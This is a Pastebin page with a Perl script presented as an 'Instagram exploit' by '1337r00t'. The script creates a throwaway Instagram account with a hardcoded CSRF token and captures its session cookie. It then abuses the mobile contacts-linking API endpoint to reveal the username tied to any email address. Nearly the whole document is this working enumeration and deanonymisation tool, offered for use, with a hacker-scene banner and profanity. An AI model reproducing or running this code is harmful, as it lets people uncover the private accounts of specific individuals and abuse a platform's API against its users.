Advertisement
Guest User

API Instagram exploit January 2018

a guest
Jan 2nd, 2019
6,684
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.96 KB | None | 0 0
  1. #!usr/bin/perl
  2. ##################################
  3. # CoDed by 1337r00t
  4. #############
  5. # Now You Can Get The Real Username By Email [Instagram]
  6. #############
  7. # Tested on: Windows[CMD] ~ Linux[Parrot]
  8. # Date: 1/2/2018
  9. # Vendor Homepage: https://instagram.com/
  10. # Exploit Author: 1337r00t (@_1337r00t)
  11. ###############################################
  12. # X-MSG-To-Instagram: Nothing Good For you :( #
  13. ###############################################
  14. # Gz: ReYaM[RoRDeZ] - x03x - Dr.Abolalh - Lion Hacker - Evil~r00t -
  15. ##################################
  16. use LWP::UserAgent;
  17. ###############
  18. system('cls');
  19. print q(
  20. |------------------------|
  21. |      Priv8 Tool        |
  22. |------------------------|
  23. |       #Exploit#        |
  24. | Get Username By Email  |
  25. |     By 1337r00t        |
  26. |------------------------|
  27. |       Follow Me        |
  28. |~~~~~~~~~~~~~~~~~~~~~~~~|
  29. |  Twitter: @_1337r00t   |
  30. |  Instagram: @x1337r00t |
  31. |------------------------|
  32. You're So nice Today :} Fuck Instagram DuDe
  33.  
  34. );#X-MSG-SKids: Don't Edit Anything
  35. print "Email => ";
  36. $mails = <STDIN>;
  37. chomp($mails);
  38. print "\n";
  39. # Ruuuuuun
  40. print email($mails);
  41. ##########33
  42. ###############
  43. sub email($){
  44.     ($email) = @_;
  45.     unlink 'sessionids.txt';
  46.     $mail = 'a'.time.'@gmail.com';
  47.     $pass = 'aaaaa2242';
  48.     $user = 'a'.time.'a';
  49.     print "\n-----\nStep 1 - Create Account To Get Username [Wait!..]\n-----\n";
  50.     $sessions = LWP::UserAgent->new();
  51.     $sessions->default_header('Referer'=>"https://www.instagram.com/");
  52.     $sessions->default_header('X-CSRFToken'=>"KEG1ZgoSE7i4IGWIzqm20zCMqZAnx0OW");
  53.     $sessions->default_header('Cookie'=>"csrftoken=KEG1ZgoSE7i4IGWIzqm20zCMqZAnx0OW;");
  54.     $seesed = $sessions->post('https://www.instagram.com/accounts/web_create_ajax/',{email=>$mail,password=>$pass,username=>$user});
  55.     $out = $seesed->header('Set-Cookie');
  56.     if($out=~/sessionid/){
  57.         print "Created :)\n\n-----\nStep 2 -  Get Username [Wait!...]\n-----\n";
  58.         open(SESSION,">>sessionids.txt");
  59.         print SESSION $seesed->header('Set-Cookie')=~/sessionid=(.+?);/;;
  60.         close(SESSION);
  61.         open (SESSIONFILE, "<sessionids.txt");
  62.         @sessionids = <SESSIONFILE>;
  63.         close SESSIONFILE;
  64.         foreach $sessionid (@sessionids) {
  65.         chomp $sessionid;
  66.             $post = '[{"email_addresses":["'.$email.'"]}]';
  67.             $getting = LWP::UserAgent->new();
  68.             $getting->default_header('Cookie'=>"sessionid=$sessionid;");
  69.             $getting->default_header('User-Agent'=>"Instagram 7.16.0 Android");
  70.             $getted = $getting->post('https://i.instagram.com/api/v1/address_book/link/',{contacts=>$post});
  71.             unlink 'sessionids.txt';
  72.             if($getted->content=~/"pk"/){
  73.                 print "\n-------------------\n";
  74.                 print "Username: ";
  75.                 return $getted->content=~/"username": "(.+?)"/;
  76.             }else{
  77.                 if($getted->content=~/"logout_reason": 3,/){
  78.                     return "Sorry, Fail Step 2 Because 2FA, Plz Try Again Now !.";
  79.                 }else{
  80.                     return "Email -> ($email) Not Found :(";
  81.                 }
  82.             }
  83.         }
  84.     }else{
  85.         return 'Sorry, Fail Step 1 Because Block Creating Accounts :( try later plz';
  86.     }
  87. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement